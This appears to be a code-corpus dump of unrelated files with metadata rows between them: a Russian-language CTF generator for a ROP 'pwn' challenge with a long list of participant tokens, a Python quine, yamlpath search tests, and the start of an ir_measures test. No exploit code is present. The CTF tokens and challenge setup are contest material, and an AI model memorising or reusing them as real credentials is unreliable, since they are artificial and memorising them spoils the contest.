"4b78735686aabc309adad46c519332cf3b88ee3f", "6817acaa3ab73931083120425fedbcd40ab1e1f9", "bb39b6fe7776b7883bb2bbcbe213bda9b49ed6c3", "0d472f00e589b596d4a1e71f77f2724e2b746eb7", "307aae4b944c26bafb25fe6af24d77b7347c90b5", "0b398c71929fce1f668e7acdeb7afacaf6eceb59", "5bfe341f33e96ba1344800d4a7dbdf115e556edb", "9431a2e335f085bd2727ba27c4cdb78d62ec58ae", "2b898b68ab41e44207b43b02f94ebac6bf806530", "8b8bff536c48cdcb505b551493064f774205df6e", "c995e821e01ef3fadafe7affef2008f60baf4cdf", "56a09f1dc6a5cbc21e3f18f4d6ca35c6c0356ecc", "8f745153ffe0ca9b5dba2262bb042e90c7d38eaf", "a105af39a957042f1d573904219d0f3cbd0982f3", "c2db69a30ae32df35090e3de6f14fdcbd884027d", "b7ed3d2b31625ed08b574ae96883e7bacc9fbf74", "ca05049c5ae3e1b0f937f140caaf4f3779ec7746", "db99fbf29cbea061e40171cb258d136ec2030536", "84d76423f064609646a9bbeb8c2580087182177a", "a6fd4c71e259f929b5dbcbd5495b4c89d9300244", "861c4c02087a8a68d59e2d17c6463c96f116b612", "d25e8c15cf4274697214aacd317d87f8d489017a", "32c6f2f6c0b283b57968a290a56a4169d5ae3d58", "f471d8b6b5bee18e9ada5d52f342f517a31eb395", "3ee9e3af99f444951a3cb56115646893c59ad80e", "69e5112e52381e919bebeaa4a222ce44c11ea5ae", "d08b42c3b1c1663d86746b0f8e609a867cb25f4f", "cd778b678a4e6a5df812af40a64f8e97e98145f7", "4ed26d1486abfc5622a7675b7ddb8ba6d3b43ef8", "639f6a389ac49565e72dc3f6c1ffaf63443626ee", "2e0209e3ef5e98df63dd5240dc36ecdfb9208a29", "eedb75357f67a29532ae76dcbf2a9018963f093b", "f6cda2268cb3e6ee701349efe76c81873fea2ce8", "3e5893055d7a0415f5178ed4af01ef8e28490509", "91ef7f3c933e0baafbf9ef788a4359bc6c0b1c52", "02812d61660d6e3361806c215fdee860bbe50e3b", "d63cbe7db750fb352165d2948ea88449aa31246b", "6eb95a2a250572a111aedf769075161ff7fd00f4", "645578384c3bb0d8037990be99920d71880e44db", "2eb116b417a9fd32abd417bd2fc7613cf7994a35", "789bd5673e81e3ffd303cb7c6541f408694bf70c", "462304c735c50a4e1969783db1edefceafa1be53", "ce5e2b095ec000602b7c82223afacec88bc50eb6", "4f9bc1dfbc30a09a39580d9eb1e3775b871e7c01", "d88d72761dd7164aa90ed5389ed45b5c5705a595", "0859b0b17827de972ec9696cc346327958019429", "cff612c17ce8117b562a61dbe6b87f7f3701150b", "fc9b42d68aba134981de3ef9308d56f830069193", "254de12d2c43ce7341d675f1365384bc10af5eb9", "3a9b3f01c2d0dab21ff7ac01ca727754e1a20e31", "03c0c13bea2c8a9f942574043f1c40b046a18813", "c231d6a8d3eb2abc246d3647868af1d7afdfb77b", "df63b49e6fd85206d5f00c5a19a61946372d4270", "b347b02ec54f05279b3203724511d4f2e22c3bc0", "3c2409edc9527213c60f8ae5f9a8a828a99e71b7", "d0362608c51993502338e6d1d3b55f1e3ef59b4a", "886aa8d8f4352d82b5f8d14934d96aa804d4863d", "de81c3a34807c7d499b57d953b2816eb1bdb264e", "e2873a3f9475c2059eecb8903de10b7d1adc59b6", "84bc168490463bfbaece54c16b97f1e67021f01a", "81c624bd0bed260951b25bd7ae0b6a8672b1f346", "83589059e87e78cf969e94feb963267df1bd537f", "37555c289e89994e8472b0f663988193b9cc1dad", "4c1817d7050b28b5d2bd6a672fbf9724d5b2720a", "cc3cb93509886c1b0293633b633ae7b280f21a62", "be8d25a44f8ee9c5e978b4bfac18c42c9b6c6a76", "0f5e6f6f43b3bc31adae515d33de5c47828f8b73", "50397338607029e077c601850aa39a33bf0410f4", "064fb11b27db3023624de0eec1288551f4fb159e", "d7e824c4bf62f935ad40e807f90fef2db08fc158", "3d458fcc490ac3ba5c375e5acd27229d314d8104", "426367ce6420d5a16489ed4139b4578cf6f1b9ad", "7a8db12aa91a4a2c784409c724a8f5ebc8861164", "95072ce1fccad77558529f80c656b663951e7097", "bb32f145e8d32618a9d1c8217307d50edec64416", "97bef977408ca69f2c37ec73a9b9e9fdf8468f39", "8e483c924b8cf2c34806df5b71859a7687aa5d92", "e7dd3fafb3a083a466216825a28eae3b651702be", "61c0a2b76a13a3c95e17686df553cd483cabdf27", "b0659333b4b8903e47393c14de224c8d7024d9e3", "a59a181ac6ba5a4c65a1be75a1dbf23ae5fdf128", "03d976a8748da1d1b3ef5de3b980b1cdac6f61ed", "6203efb2caa5294dd6d4b56842a9484f87e86136", "3297867e828f0f9bc32bf9cdb1a921e48a552775", "94909c09689fde4d64e0acc6a4c766ac5cfc091a", "48631a044c2cf91674e99438daba2c1ee23fd2c9", "8dd5bd87a636540f6d540c20e0d234fa168a36c2", "cdcfe10911090c8293f93cec1efd4debaf1cccce", "74813a2ecb2510b0b7b4ce13c626d1fa26622314", "c178b0f1d6b177b7683ca18610866f2d5b2a0466", "5e823cd9bccca8271a1f220ee23459bf9fbde7cd", "89bada2c8029cdf64c7629ec0afb781d761cef60", "63e1fffa8a5334cee6f2d802eb147bb99925115d", "0e2abff82cd5057f29ed56f7561aa68ee40b9c95", "488a48ea9ba20d546bd2565e553d43a6e5cac358", "90c251a3171a356cde670073a7936ba4f4f601d3", "bd8c9ef9e663704e5f60f07306fa32ab936f77c8", "7055dec5c2da137ef2bf1838d5d324734b2f314a", "81fff06158e6c0ab5f731943e96e1d76de84280d", "e7a902630187051ec46da8b10a8393afaaf54876", "258f50303f901ad53026046973ba71b52f7e75e0", "90d3d6a02a022228637c04784e448e5ea68b5ee7", "49c3a880b8174a5594d0785edd243677e2aeac47", "88e14ce17192b9a170f7a775ba18cd83dae258f9", "f1f01240253016d19c78ec81f2aca32ef8313a5a", "7af730921021ea153369ed3cadcdb30e99935d4b", "24125f02140962de9df5655be547e62f30cfb7e8", "75f688c4d4d6cd4c76f35e414e839bacfb8242c3", "390a66b8a98e86062ecd2917e4004cd4371e63bc", "c6baec76a50bc6dca1798f35cced2ac013433cb4", "40473128fdab770a4003635e993321150562b4a2", "ea952d4fc657f86fd380dca18d7042400233b958", "c9be33f883b8f58b7bc4fcfd7af086743e624483", "c9a28d3c4724d884adbd7cda93b32a2936dcdf63", "e59a6d35ad2af2e6c5eca673086f375dd21afe7d", "1e3547a30e129f5d5bd37178102db76bf164e353", "355ae1d91d7178b8b803312e3870eb4d45f22ab7", "bc76b76f0b9c95ff682acf6691c1ccbaf7d22457", "32e0ed416ae61232fd237bd65f6d998c11bce243", "332315d26541573463780c3cdd8e71f2b15d6154", "395883a275b2e382a5d92bf0ec96db8c6f6cc782", "1f11fff0cec863874627780f2e48e0d95c0c1b90", "d181159b8b620ad838dfa8ea79c09cea1cf1d3ce", "5355ec52c7025d89cec9dd242d37cad077910ef3", "7c8f154a7fc6398f05a344deff2ff4e9e3e29ef8", "429a087368358267fbb23f77c151cc4d7cb19048", "3f7a7d97068fe34a1ba94681dc967b14e11f3844", "573cbfd5c5af90060a260e1dd3da05d1f822ce09", "46c5b97927ef46adbdd31a73f738f1b6ae53a1f5", "0585dfaedeafe408f053e0a97aaff6b409bf4c49", "165622aa5b0ccca1a5e3b5535e3d5f1cf67346d8", "8b44831e83988a394d90cc4d7dbeb5b33ca440f9", "5bdde65b9ea6b3f3d33e40d1138e490de1f97287", "8abf901aa4313fe49bbce126cd394f857e57a8c3", "a2e8dd319d05efa0157cf0e8f1369c3063767d70", "979466fedb31b75abff0af86335c43ed6deeaeb4", "3c9aed8aea7af31cd71c0261d843b7f57d9b04f0", "c96579de2a79336f25bff307e61d411fa27f0526", "f3b3587d24019eb5ea0c3567ccdde864644059bd", "021833a8085b71f78b8828a96846fe45dcdd2198", "d128a33d83a47f97105aeb1d5800a22ab5fa2a2e", "481fa9835daed0195c8582728e43cf4496be7ca2", "f5f69efd909ae1a73d57e01523de58aaca4ecdb9", "9f58aea2a29c7588463fe9ebc2f2b79f5de8f1d0", "97539efeb3932940f8939ce2a23a32b2a6b6cb80", "413c738d21b52d14560ad04a45b79eaf88948122", "8ead548d0215e0165bbc6e8ce42342dab14c68eb", "ae3299e88988ed08b35439391921af42fefd97f0", "61875c55b5e7a77cc74b6e583e2e8cb36abd0dff", "538d6bed34c7d1d44784c6a948e4dcba9215df64", "7817f955bcc025cf883ce4c9bb322153d952a7db", "f03c51798d48badbb722e37b712baa7dd9ca217e", "b6142f1e530d09b509d2823eb8e84a127c96af0c", "33e88473d4c86cf815948090fa4be373e2a44aca", "fddf156a31120c563fcf0ea7942a7c17628b10c2", "ac415bf32108783dea46ba2dc68d5b4166b19c7a", "1b619b050855994e8a797a9683a32ba2b90ee975", "4688c5157a271ae5873e51d57b242520642e9d88", "0a9601502c1eea7d7208baf231d609dc1ef698ee", "e2f858d4fd7c3e8486ae99bcdc76b21216858da4", "2dfef6d6de4a85226da3a6ed98778be5f5423f27", "e49e9f9f4c388635c0bbea59d65da5a9376dc4a7", "c57b4f0d7b67343093ab70cfda67273e3cec05aa", "34db2c6ab6a308e688faa7563385142acbb2a3f4", "ca515fde888976c7b46cb0a3b09200e7ef4a6406", "65be55796420eca021c5d0ace2f586a765cc0fe5", "4809fe6a03d7c20caf8ea8b6539c7c95f40faf54", "ccb4db0d3209ac975709c344a03c6d6e2342d9ed", "c910b93899c4979979b4d2864505d12dd157e7c6", "c52ee6fd9e71fa506d6e9ba25e15fe10a003e370", "3a565f7063cbe5f8b1a7e087e1473d5ea7d64a70", "657aa0bdb1c28e892f0ad9bd943e1e71c367b699", "789ca2fdc6e65dae9536ed84138dff24a8f93d51", "4072fdf43888c410295d4e720f80767e3ba6b5f3", "a58e6697895aebc9a74fe592232f6e10508108c0", "cb2e3fad025bf3f92347a77f423cca95fafe370d", "4c0a8e5632282415644c4e0d27652db27a2e824b", "ef0fdc0fe0ad5e3dfbf264e9cf14eb3e166d8818", "b3c64ef338336fd5cee29ab064e0a51b74e7ac36", "2768c00044422c50d9e0da19ca823c602affb02e", "b68847f28e1eaa52fff70ce58372fed95b0b8554", "e790c2d680097bd000fdb1a5b691cc16885de6d4", "a3dd5742d950a6602ad02c2ce4ef3ec925adc818", "69fcde6562f57420ba16038fb376e8d88e93f4e2", "ffaa2b589552008cccb2f7574e13dfb52eb973d5", "98adf087d29954474b4b60ffb41634984f5aeb60", "f1e44639a8d04f76c680bcf2db329e260b7c2c8c", "8bf6f35c265f466a4356a60f7813951d7a114d78", "d4f0469d6cf9d778e42fead77ffc496d46541392", "4752df817ef3a906a1c8eee156ecc565bfdc9de6", "6cd8396faa7a34b4865cabcc54fe15237dadbf0d", "27294e4f460b363bacc59444eb9bd0c283f93ad0", "347c993d7386f77e7a12dac9043bd35ca381ee8b", "e44601fb20d80e3c48f899ef142c1c16051ee338", "7f32e0eba3a67f19e76d5c2735c3b00901f7bf57", "f28e8c31db068c8c8cc9ad0b3bb8a69b538f215f", "399bb47d246ae13cb679c6fdedd826016087ea70", "1b3dab8f6755066c26e9737ec408ae96999d8e69", "d38ce1764d749e3fcc69043fffc10de3cb8b6d89", "01b623880e73af7b91ffec32550db86040048771", "82cdfc7fd74afee20d695c148d1dad4f3ddfd310", "f486291970a36b612b918349dfeb2ddcdfa36b66", "ba083621526de7524ee1f2225abcafd6ddc4f5cd", "ae4cb06876098d12355340e772c62b1075ab946b", "b496cfdca5642e82c5187ef7a7db38b38d036c37", "e9eaa591202e267310d5706a4b670c96927778c4", "ed205255a3b340d03ea2cd4e0f89fc90640b840c", "910397166b911db42a2bdef7b5eb768d4f01374b", "b745fd1622d4ae8654a8e7d947b4ffefe8aec0c9", "8b9a2483994d96924c9476dd4f3be2a45048c342", "3cd833808da951fb21f9a8a11e7c43346266db8f", "135501f948e12e0b5ec15fb26491db60c2cadb83", "1e4cb8de585fc2a1f7f11c0b3fccddbf84920037", "6747500230c06e466669527d8862888d1b5a7587", "b8a43f337ce2e14697929565ce284635782197eb", "7b0176f831c43a9c2a3a93cd10312a1b662f63ee", "c0d2e0c81ca48ef42a7e304ff2d5539f5480fad5", "64ec2394e20f25e216a509fce350d1b42aeade44", "f425e86098cf6921355341643c78b042053f0dd2", "3764c4752d94118f3c6cf787b22a0f35fec51c67", "5c81c5e351959522216cb0595c54c8c3fcc48056", "2429ba0c1a4ac5c3119e45b1fb1dc1db4c1f8d79", "5d98f63e1a5b4415a654613f3b22660e56c5a315", "61b1f05e029cce60a25d0693ce834dc069894c9a", "557d1458fb7a1aede135cddad7bb69bab30bb062", "3bfc51e7ec352456f509cb6b8421577dd7a7bd30", "1f0e3a3c8ef2228de1afbec2fcba9da426662804", "e4a9b72db74b5a40a8bb03e98dba7ba98aa2a0c7", "c41d63e837f29100ffd28093dd5b58bff509ae32", "eb24ffc66f164e320cedef0a16a131543e5ba582", "810bb26d08e7550cf49daebc91ddcc91a84796fc", "c07275bd08d69a35c7fb78f8e46475970996ee87", "543045af4b44dd05a9f9cf92bb9666a86f5ed46b", "bc6198b1d88faacefb83354ecbc6f4a8c7b1807d", "ef13186b54740d9b576440819c275b629b820b59", "9674e44ddebf31da34c6e8f92f9a767e0def40ce", "ce62a67d0d6a1ac2863906e2a6cf4d6496bf532e", "4a1f76f83ea66333d873f71a58c1ed99b2d968d4", "61b9381eec631f1df4401c1e993f4d9ebee350c4", "07b9ab25c1de20ca330a3b4009a613229a8391cf", "4ede14b6a9fb72ef5d466b049ea7533b01221e84", "444d727fd9241d255dd049c1b9dd5d7b3e946560", "c77b2df61a181d4b2a585eef9326eb7fb1b18c8c", "25c463d97919b492cedf99b91edae9720987c461", "618281013760f51386297b101a7759c0a7049b92", "5a57f45aba7eb780ddf72393e3dc2ac41fb15998", "6124035c5b31c1a6759746b92734a0d41bda2f46", "ba6dbd00f5a238584ad9e0e68b6b4dd27d3d5ffe", "bbf8eff48d6dde96b96b30c354da964b39dd7bc6", "170f6aed471202fff1b1190fd0484b95aa350dad", "0d54bb7ddaf043a3bc5c79e533829d4c374118a8", "8e7e307f88b09fd6484cdb3619c89923f29b690d", "25cbb50840c0e050f2210bc72a825c93646ccad1", "0e9ddafdc4ca4ad6f39e75924b8400fc75ec5dc7", "dfdb17875aa8211143e02cd91034fa2a4c4fe747", "ae4cd7356347b285fac14ce4fa237be24cc02243", "1825055a42891076918a7beffe0a757807d5ba97", "1016bf8ba01b8758e07d64d5c39399c883db7a74", "68ac46702d96911beceadc349d705d85b73191fc", "a6cb4a50f04ab885333b6c4de658f1d03e47d0fe", "11235080067a2021b243161fe3aedf2cd656c9b0", "09db9ee31cdecdbe99da9121fc2c18bd0427361d", "c3928601c2ee0d40bcbafab2c2630fea0c8fddc9", "cbb9c05efd33cfe331bb2ed50206cd55b5cb615f", "8473af9b6ed564647419bb1ef51cec1ea054348c", "ae9df67281fbf280fc1e05e38518fedb8209d315", "102e7cc9b319d47bce15a0efa1c3dc0f4aa39ce2", "b87a5897b5e9e1954074d5c5850f5481c7755069", "212dbcb1e92c07137f46416969f1108e6e7e009a", "ef596ab5a62bdcacb9877905468ac3a4a9dfd304", "80817ca1562f57739ab241fec662faa826471316", "059f160c38cbb57145fc3c0ebd68a3abba7dc687", "fe304a8c3ba86b5506006c3ad6b29bab9a102a2a", "f5c797efeaddcde9d0c11456d4bc90e631c78955", "7c9e833e9e559363a0150bb7ca066b86865f05a4", "32ca3e7fb26baa7f8d2e01b330f1f322299963f3", "530bed07757df81bbe32ace3be2a6d5aecbbea40", "35b8357eeea8fe43dabe1493469646572c16eee3", "bc503ebe4f3f1ef2cd73ef76a6b3984b586ea082", "a28deee661b28dd0af24362057243d1778ee38a4", "edea8ac2ed4269a1ce4c7b6d5ae9375f63b3162e", "7e935910805f316ca67ae05fa301f2e6c10305bf", "6a0467a42f56f95c00f8cf880f1b28483591054e", "bc1cf6225a5d7de6c175cfaba7936ce05c35031c", "5297a46386ed1199c3ebd8c345468d300ca76dab", "2bf76bd4bc059ddfbeecc923a0b51f184b4d14a8", "752fcd842c982ebaed5dd43d492b26113446878e", "dcc63ce9f8f26e7a5a71fb0e90e1c2d309bff8b8", "9e5fda87afe933c8bee262a2888513cde2c04a29", "b9c81ff4d1157c3430ad18b1b7a143f503ea6d07", "8c7435b0d82d103a5995a144389a59865a4b83eb", "717998afe8e5ed06a8e9a60a90ab8585c0121956", "17c9aea2bc11479da2a1d195b4118769e5cdfa77", "af5482ba7e151f383878a1e3194cce3c905320a9", "41aad8553bcaa5bae0807e71cf650c3b782f2777", "48f2c73bb2806f2beb630bd8dc8577786a4d0675", "566f1885ec8732b67aa58dff14a7dd6cd7a30082", "50607b13e3845831c0c2ecfdca1fb79f4a57112c", "c14e2061bf226a5a850d8321941423ce2f42b0d0"]
TITLE = "Проблема мутантов"
STATEMENT_TEMPLATE = '''
Ах, я чуть не забыл рассказать самое интересное!
Вы слышали, что неделю назад у нас появился отдел исследований? Мы назвали его **Research & Obsession & Persistence**.
Название говорит само за себя, но я всё же объясню, чем он занимается. Если кратко,
то они ловят мутантов и отправляют в лаборатории для дальнейшего изучения.
За эту неделю отдел смог оценить влияние радиации на сам процесс мутирования и выявить зависимость
между дозой излучения и скоростью формирования новых генов.
Пришлось ещё подумать над тем, как ловить сами объекты исследований.
Ребята из отдела ROP не смогли придумать ничего лучше, чем связывать мутантов верёвками и
транспортировать их с помощью канатов. Не лучшая идея, но по-другому было бы сложно:
мутанты сопротивляются и могут начать атаковать.
За неделю было поймано столько мутантов, что у нас полностью закончились верёвки
и почти не осталось канатов. Вам нужно спуститься в убежище и принести оттуда столько,
сколько сможете. Не забывайте, что на входе вам придётся подтвердить личность.
Вы же помните свои данные?
Чтобы получить флаг, нужно запустить **getflag**, который лежит рядом с запущенной программой, и передать ему токен первым аргументом.
Ваш токен: `{0}`
Пример: `./getflag {0}`
`nc hard-pwn.contest.qctf.ru 20002`
[auth](/static/files/4rycqtnt3s/auth)
[libc.so.6](/static/files/4rycqtnt3s/libc.so.6)
'''
def generate(context):
participant = context['participant']
token = tokens[participant.id % len(tokens)]
return TaskStatement(TITLE, STATEMENT_TEMPLATE.format(token))
| 549.093023 | 22,009 | 0.900512 | 729 | 23,611 | 29.163237 | 0.923182 | 0.001599 | 0.001976 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.546889 | 0.031257 | 23,611 | 42 | 22,010 | 562.166667 | 0.382591 | 0 | 0 | 0 | 0 | 0.071429 | 0.905976 | 0.851637 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035714 | false | 0 | 0 | 0 | 0.071429 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c1292ef427391cb31a4765d9e5016c7a585a9f0f | 512 | py | Python | quines/charcodes.py | chbrown/sandbox | c408ef7409bb4f27855a09264ae9f2e529c2f220 | [
"MIT"
] | null | null | null | quines/charcodes.py | chbrown/sandbox | c408ef7409bb4f27855a09264ae9f2e529c2f220 | [
"MIT"
] | null | null | null | quines/charcodes.py | chbrown/sandbox | c408ef7409bb4f27855a09264ae9f2e529c2f220 | [
"MIT"
] | null | null | null | tq = ''.join(chr(39) * 3)
bq = ''.join(chr(92) * 2)
lines = '''
tq = ''.join(chr(39) * 3)
bq = ''.join(chr(92) * 2)
lines = %s
%s
print '\\n'.join((lines %% (tq, tq, bq, bq, bq)).strip().split('\\n')[:3])
print lines.strip().replace('%s', '%s%s')
print '\\n'.join((lines %% (tq, tq, bq, bq, bq)).strip().split('\\n')[3:])
'''
print '\n'.join((lines % (tq, tq, bq, bq, bq)).strip().split('\n')[:3])
print lines.strip().replace('\\', '\\\\')
print '\n'.join((lines % (tq, tq, bq, bq, bq)).strip().split('\n')[3:])
| 34.133333 | 74 | 0.498047 | 87 | 512 | 2.931034 | 0.172414 | 0.12549 | 0.156863 | 0.235294 | 0.996078 | 0.996078 | 0.996078 | 0.996078 | 0.996078 | 0.996078 | 0 | 0.035874 | 0.128906 | 512 | 14 | 75 | 36.571429 | 0.535874 | 0 | 0 | 0.285714 | 0 | 0.142857 | 0.533203 | 0.169922 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.428571 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 9 |
c17dbc5e4ce4077e90442112927bcef043305000 | 5,917 | py | Python | tests/test_common_searches.py | gdubicki/yamlpath | 2b6816c2b427250ec58118c64ea09ee870c8f9bb | [
"ISC"
] | 52 | 2019-05-04T03:01:19.000Z | 2022-03-17T13:31:11.000Z | tests/test_common_searches.py | gdubicki/yamlpath | 2b6816c2b427250ec58118c64ea09ee870c8f9bb | [
"ISC"
] | 49 | 2019-06-06T05:07:10.000Z | 2022-03-25T07:18:48.000Z | tests/test_common_searches.py | gdubicki/yamlpath | 2b6816c2b427250ec58118c64ea09ee870c8f9bb | [
"ISC"
] | 8 | 2019-08-12T21:19:27.000Z | 2021-12-17T09:20:10.000Z | import pytest
import ruamel.yaml as ry
from yamlpath.enums import AnchorMatches, PathSearchMethods
from yamlpath.path import SearchTerms
from yamlpath.common import Searches
class Test_common_searches():
"""Tests for the Searches helper class."""
###
# search_matches
###
@pytest.mark.parametrize("match, method, needle, haystack", [
(True, PathSearchMethods.CONTAINS, "a", "parents"),
(True, PathSearchMethods.ENDS_WITH, "ts", "parents"),
(True, PathSearchMethods.EQUALS, "parents", "parents"),
(True, PathSearchMethods.EQUALS, 42, 42),
(True, PathSearchMethods.EQUALS, "42", 42),
(True, PathSearchMethods.EQUALS, 3.14159265385, 3.14159265385),
(True, PathSearchMethods.EQUALS, "3.14159265385", 3.14159265385),
(True, PathSearchMethods.EQUALS, True, True),
(True, PathSearchMethods.EQUALS, "True", True),
(True, PathSearchMethods.EQUALS, "true", True),
(True, PathSearchMethods.EQUALS, False, False),
(True, PathSearchMethods.EQUALS, "False", False),
(True, PathSearchMethods.EQUALS, "false", False),
(True, PathSearchMethods.GREATER_THAN, 2, 4),
(True, PathSearchMethods.GREATER_THAN, "2", 4),
(True, PathSearchMethods.GREATER_THAN, 2, "4"),
(True, PathSearchMethods.GREATER_THAN, "2", "4"),
(True, PathSearchMethods.GREATER_THAN, 2.1, 2.2),
(True, PathSearchMethods.GREATER_THAN, "2.1", 2.2),
(True, PathSearchMethods.GREATER_THAN, 2.1, "2.2"),
(True, PathSearchMethods.GREATER_THAN, "2.1", "2.2"),
(True, PathSearchMethods.GREATER_THAN, 2, 2.1),
(True, PathSearchMethods.GREATER_THAN, "2", 2.1),
(True, PathSearchMethods.GREATER_THAN, 2, "2.1"),
(True, PathSearchMethods.GREATER_THAN, "2", "2.1"),
(True, PathSearchMethods.GREATER_THAN, 2.9, 3),
(True, PathSearchMethods.GREATER_THAN, "2.9", 3),
(True, PathSearchMethods.GREATER_THAN, 2.9, "3"),
(True, PathSearchMethods.GREATER_THAN, "2.9", "3"),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, 2, 4),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, "2", 4),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, 2, "4"),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, "2", "4"),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, 2.1, 2.2),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, "2.1", 2.2),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, 2.1, "2.2"),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, "2.1", "2.2"),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, 2, 2.1),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, "2", 2.1),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, 2, "2.1"),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, "2", "2.1"),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, 2.9, 3),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, "2.9", 3),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, 2.9, "3"),
(True, PathSearchMethods.GREATER_THAN_OR_EQUAL, "2.9", "3"),
(True, PathSearchMethods.LESS_THAN, 4, 2),
(True, PathSearchMethods.LESS_THAN, "4", 2),
(True, PathSearchMethods.LESS_THAN, 4, "2"),
(True, PathSearchMethods.LESS_THAN, "4", "2"),
(True, PathSearchMethods.LESS_THAN, 4.2, 4.1),
(True, PathSearchMethods.LESS_THAN, "4.2", 4.1),
(True, PathSearchMethods.LESS_THAN, 4.2, "4.1"),
(True, PathSearchMethods.LESS_THAN, "4.2", "4.1"),
(True, PathSearchMethods.LESS_THAN, 4.2, 4),
(True, PathSearchMethods.LESS_THAN, "4.2", 4),
(True, PathSearchMethods.LESS_THAN, 4.2, "4"),
(True, PathSearchMethods.LESS_THAN, "4.2", "4"),
(True, PathSearchMethods.LESS_THAN, 4, 3.9),
(True, PathSearchMethods.LESS_THAN, "4", 3.9),
(True, PathSearchMethods.LESS_THAN, 4, "3.9"),
(True, PathSearchMethods.LESS_THAN, "4", "3.9"),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, 4, 2),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, "4", 2),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, 4, "2"),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, "4", "2"),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, 4.2, 4.1),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, "4.2", 4.1),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, 4.2, "4.1"),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, "4.2", "4.1"),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, 4.2, 4),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, "4.2", 4),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, 4.2, "4"),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, "4.2", "4"),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, 4, 3.9),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, "4", 3.9),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, 4, "3.9"),
(True, PathSearchMethods.LESS_THAN_OR_EQUAL, "4", "3.9"),
(True, PathSearchMethods.REGEX, ".+", "a"),
(True, PathSearchMethods.STARTS_WITH, "p", "parents")
])
def test_search_matches(self, match, method, needle, haystack):
assert match == Searches.search_matches(method, needle, haystack)
###
# search_anchor
###
def test_search_anchor(self):
anchor_value = "anchor_name"
node = ry.scalarstring.PlainScalarString("anchored value", anchor=anchor_value)
terms = SearchTerms(False, PathSearchMethods.CONTAINS, ".", "name")
seen_anchors = []
search_anchors = True
include_aliases = True
assert Searches.search_anchor(node, terms, seen_anchors, search_anchors=search_anchors, include_aliases=include_aliases) == AnchorMatches.MATCH
| 53.790909 | 152 | 0.638668 | 703 | 5,917 | 5.16074 | 0.096728 | 0.457277 | 0.246968 | 0.282249 | 0.76323 | 0.76323 | 0.76323 | 0.76323 | 0.746141 | 0.746141 | 0 | 0.053207 | 0.21227 | 5,917 | 109 | 153 | 54.284404 | 0.725166 | 0.011154 | 0 | 0 | 0 | 0 | 0.04613 | 0 | 0 | 0 | 0 | 0 | 0.020619 | 1 | 0.020619 | false | 0 | 0.051546 | 0 | 0.082474 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
c1c81d6f065393fc327f97bd47bc4ac039b91af6 | 11,544 | py | Python | test/test_providers.py | bpiwowar/ir_measures | 78b02ff88ba6cb3ac9152b19633cde277ae3b852 | [
"Apache-2.0"
] | 17 | 2021-04-27T19:42:27.000Z | 2022-03-13T10:57:16.000Z | test/test_providers.py | bpiwowar/ir_measures | 78b02ff88ba6cb3ac9152b19633cde277ae3b852 | [
"Apache-2.0"
] | 27 | 2021-04-23T19:33:22.000Z | 2022-03-08T13:42:10.000Z | test/test_providers.py | bpiwowar/ir_measures | 78b02ff88ba6cb3ac9152b19633cde277ae3b852 | [
"Apache-2.0"
] | 3 | 2021-12-28T21:21:07.000Z | 2022-01-26T15:38:40.000Z | import numpy
import unittest
import itertools
import ir_measures
from ir_measures import *
from ir_measures import Metric, CwlMetric
from ir_measures.measures.accuracy import Accuracy
class TestPytrecEval(unittest.TestCase):
def test_empty(self):
qrels = list(ir_measures.read_trec_qrels('''
0 0 D0 0
0 0 D1 1
0 0 D2 1
0 0 D3 2
0 0 D4 0
1 0 D0 1
1 0 D3 2
1 0 D5 2
'''))
partial_qrels = [q for q in qrels if q.query_id == '0']
run = list(ir_measures.read_trec_run('''
0 0 D0 1 0.8 run
0 0 D2 2 0.7 run
0 0 D1 3 0.3 run
0 0 D3 4 0.4 run
0 0 D4 5 0.1 run
1 0 D1 1 0.8 run
1 0 D3 2 0.7 run
1 0 D4 3 0.3 run
1 0 D2 4 0.4 run
'''))
partial_run = [r for r in run if r.query_id == '0']
empty = []
# qrels but no run
